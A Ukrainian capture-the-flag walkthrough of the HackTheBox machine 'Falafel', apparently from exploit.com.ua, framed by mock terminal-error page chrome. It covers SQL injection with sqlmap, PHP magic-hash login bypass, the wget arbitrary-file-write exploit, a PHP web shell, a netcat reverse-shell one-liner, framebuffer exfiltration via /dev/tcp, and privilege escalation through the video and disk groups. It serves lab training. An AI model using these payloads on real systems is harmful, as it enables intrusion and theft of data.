_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/ctf_writeups/hackthebox-falafel // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#HACKTHEBOX
FILE_INFO_DECRYPTED
AUTHOR: UNKNOWN_ENTITY
SOURCE: LOCAL_ARCHIVE
TRANSLATE: @exploit.com.ua

Для початку додамо IP-адресу у файл hosts.

sudo nano /etc/hosts

Проведемо початкове сканування за допомогою masscan. Будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і переглянемо результат.

sudo masscan -p1-65535,U:1-65535 10.129.229.139 --rate=500 -e tun0 > falafel

cat falafel

Тепер проскануємо два відкриті порти за допомогою nmap. Використовуємо опції sC для скриптів за замовчуванням, sV для визначення версій служб та oA для виводу результату у файл.

nmap -p22,80 -sC -sV -oA nmap/falafel falafel.htb

Як видно з виводу nmap, ми маємо справу з Linux машиною. На порту 22 знаходиться сервер OpenSSH версії 7.2p2, а на 80 — сервіс Apache версії 2.4.18. Оскільки ми не знаємо логінів та паролів до SSH і не маємо експлойтів, перейдемо до дослідження 80 порту. Заголовок повідомляє нам наступну інформацію — Falafel Lovers. Відкриємо цей сайт через браузер.

Нас вітає повідомлення — “Ласкаво просимо на FalafeLovers” — соціальну мережу для любителів фалафелів. У вихідному коді сторінки нічого не знайдемо, тому перейдемо до форми логіна. Якщо ввести в поля форми test/test, нам повернеться повідомлення “Try again..”, а якщо ввести admin/admin — повідомлення “Wrong identification : admin”, отже, такий користувач існує.

Спробуємо зробити сканування веб-сервера на наявність папок і файлів за допомогою gobuster.

gobuster dir -u http://falafel.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x txt,php

Буде знайдено 2 файли — robots.txt та cyberlaw.txt.

У robots.txt нічого потрібного не буде, а в cyberlaw.txt міститься наступна записка:

Користувач під ніком “chris” повідомив мені, що зміг увійти в МІЙ обліковий запис, не знаючи пароля, і отримати ПОВНИЙ КОНТРОЛЬ над сайтом, використовуючи функцію завантаження зображень. У нас встановлено захист від кіберзагроз у формі входу, і досвідчений PHP-розробник займався фільтрацією URL-адрес для завантаження, тому я поняття не маю, як йому це вдалося.

Шановні юристи, будь ласка, займіться цим питанням. Я вважаю, що кіберправо на нашому боці.

Шановні розробники, виправте цей непрацюючий сайт якомога швидше.

З листа ми дізнаємося, що є користувач chris, спробуймо знайти інших користувачів. Скопіюємо словник з іменами користувачів у домашню директорію.

cp /usr/share/seclists/Usernames/Names/names.txt .

Для брутфорсу використаємо wfuzz, взявши параметри через вихідний код сторінки сайту. Одразу приховаємо 3-й стовпець із кодом 657.

wfuzz -c -z file,names.txt --hw 657 -d "username=FUZZ&password=pass" http://falafel.htb/login.php

Але нічого, крім користувачів admin та chris, не знайшлося. Оскільки у нас є форма, є користувачі та немає паролів, перевіримо форму на SQL-ін’єкцію. Спочатку збережемо сам запит у файл через Burp Suite. Виділяємо запит і натискаємо “Copy to File”.

Тепер можемо почати перевіряти форму. Я примусово вказав, що використовується база даних MySQL, щоб скрипт відпрацював швидше.

Але ін’єкція так і не знайшлася.

Вище ми бачили, що є погана відповідь і хороша від сервера, коли обліковий запис знайдено в системі. Спробуємо доповнити скрипт і вказати хорошу відповідь.

sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password

І одразу знайшлася ін’єкція.

Тепер зробимо дамп бази даних, додавши опцію —dump.

sqlmap -r req --batch --level 5 --risk 3 --string "Wrong identification" --dbms mysql -p username,password --dump

sqlmap зміг зробити дамп таблиці і навіть зламав хеш користувача chris. Зайдемо під цим акаунтом у систему — chris:juggling.

Жонглер вдень, хакер вночі

Привіт, мене звати Кріс, і я працюю жонглером у місцевому цирку. Після роботи я завжди їм фалафель.

Ночами я займаюся пентестингом випадкових вебсайтів як хобі. Кумедно, як іноді й хобі, і робота мають щось спільне…

Повернемося до адміністратора. Судячи з профілю, схоже, що PHP використовує маніпуляції (жонглювання) з типами даних (оскільки вебсайт побудований на PHP).

В результаті пошуку в інтернеті з’ясувалося, що при використанні нестрогого порівняння == або != PHP може розглядати змінні як різні типи даних, що призводить до несподіваних результатів порівняння. Наприклад, ‘0010e2==1e3’ поверне true, оскільки обидві змінні розглядаються як цілі числа, де “e” — знак експоненти (отже, обидві вважаються “1” як ціле число).

Ми бачимо, що хеш адміністратора збігається з властивістю, яку можна розглядати як 0 ^ 462096931906507119562988736854, що дорівнює “0”. Отже, будь-який рядок, який дає хеш, що починається з 0e (і далі лише цифри), буде вважатися ідентичним хешу адміністратора.

У списку прикладів корисного навантаження (PayloadsAllTheThings) представлені різні “магічні хеші”, які можуть досягти тієї ж мети.

Нам підійде будь-який пароль із наступних — 240610708, QNKCDZO, aabg7XSs.

Після входу в адміністративну панель нам знову показується форма, але вже для завантаження картинки.

Запустимо на Kali слухача і зробимо до нього запит.

nc -lvnp 80

http://10.10.14.4/test.png

Тепер ми знаємо, що використовується wget версії 1.17.1, пошукаймо для цієї версії експлойт.

searchsploit wget

Скопіюємо потрібний нам експлойт у домашню директорію.

searchsploit -m linux/remote/40064.txt

У версіях GNU wget до 1.18 віддалені сервери можуть записувати дані в довільні файли, перенаправляючи запит з HTTP на спеціально створений FTP-ресурс.

У файлі багато непотрібного тексту, тому приберемо зайве і перейменуємо файл.

nano 40064.txt

mv 40064.txt exploit.py

Одразу змінимо в експлойті HTTP_LISTEN_IP та FTP_HOST на адресу нашого тунельного інтерфейсу, а також змінюємо рядок на: new_path = '%s'%('ftp://anonymous@%s:%s/shell.php'%(FTP_HOST, FTP_PORT) )

І створюємо файл shell.php:

nano shell.php

<?php echo ("I was here"); ?>

Тепер запустимо FTP-сервер на Python.

python3 -m venv venv

source venv/bin/activate

pip install --upgrade pip

pip install pyftpdlib

python3 -m pyftpdlib -p 21 -w

Запустимо сам експлойт і звернемося до сервера за допомогою wget, вказавши неіснуюче ім’я.

python2 exploit.py

Ми завантажили файл shell.php. І якщо зараз через форму звернутися до завантаження shell.png, то запитуватися буде shell.php.

Якщо перейдемо в профайл, побачимо підказку про ліміти, швидше за все довжини імен файлів.

Будемо використовувати утиліту з набору metasploitpattern_create. Створимо паттерн на 255 елементів і створимо такий самий файл із ім’ям з паттерна.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255

touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4

Перемістимо щойно створений файл у новий файл, але вже з розширенням gif, віднявши 4 байти з кінця імені.

mv Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif

І додамо магічні байти метаданих у початок файлу.

nano Aa0Aa1Aa2Aa3...Ai2Ai.gif

GIF8;

Тепер запустимо HTTP-сервер на Python і завантажимо з нього створений нами файл.

python3 -m http.server 80

http://10.10.14.4/Aa0Aa1...Ai2Ai.gif

Система відповідає, що ім’я файлу занадто довге, всього 255 символів в імені.

Порахуємо кількість символів нового імені. Вона дорівнює 236.

echo -n "Aa0Aa1...Ah" | wc -c

Згенеруємо нове ім’я файлу без урахування розширення з крапкою.

python2 -c 'print "A" * 232'

Тепер створимо новий файл із подвійним розширенням і завантажимо його на сервер.

nano AAAAA...AAA.php.png

<?php echo system($_REQUEST['req']); ?>

Тепер, коли ми перейдемо за вказаним шляхом і передамо нашому скрипту команду, вона виконається.

Зараз ми можемо виконати реверс-шелл. Щоб було простіше, перемкнемося на Burp Suite.

Запустимо слухача.

nc -lvnp 1234

І передамо в Burp Suite наступний код, закодувавши його:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 1234 >/tmp/f

Оновимо наш реверс-шелл:

python3 -c 'import pty; pty.spawn("/bin/bash")'

CTRL + Z, stty raw -echo; fg, enter, export TERM=xterm-256color

Перейдемо в /var/www/html і подивимося файл connection.php. У ньому знаходимо ім’я та пароль до бази даних. Спробуємо підключитися з цими обліковими даними по SSH.

ssh moshe@falafel.htb

І отримуємо флаг.

cat user.txt | wc

Якщо виконаємо команду id, то побачимо, що користувач перебуває в групі 44(video).

Тобто ми можемо звертатися до фреймбуфера. Вивантажимо з нього дані.

nc -lvnp 2345 > fb.raw

cat /dev/fb0 > /dev/tcp/10.10.14.4/2345

Встановимо локально на Kali gimp і відкриємо в ньому зображення.

sudo apt install gimp -y

Але нічого виразного ми не побачимо, поки не встановимо потрібні параметри.

Ми можемо їх підібрати перебором або прочитати зі спеціального файлу.

cat /sys/class/graphics/fb0/virtual_size

Тепер, знаючи пароль, залогінимося як yossi.

Але флага немає. Погляньмо знову на групи, в яких перебуває користувач. Цього разу він у групі 6(disk).

Флаг можна отримати, підключившись до диска через debugfs.

debugfs /dev/sda1

Також можна забрати ключ id_rsa і підключитися з його допомогою як root до машини.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...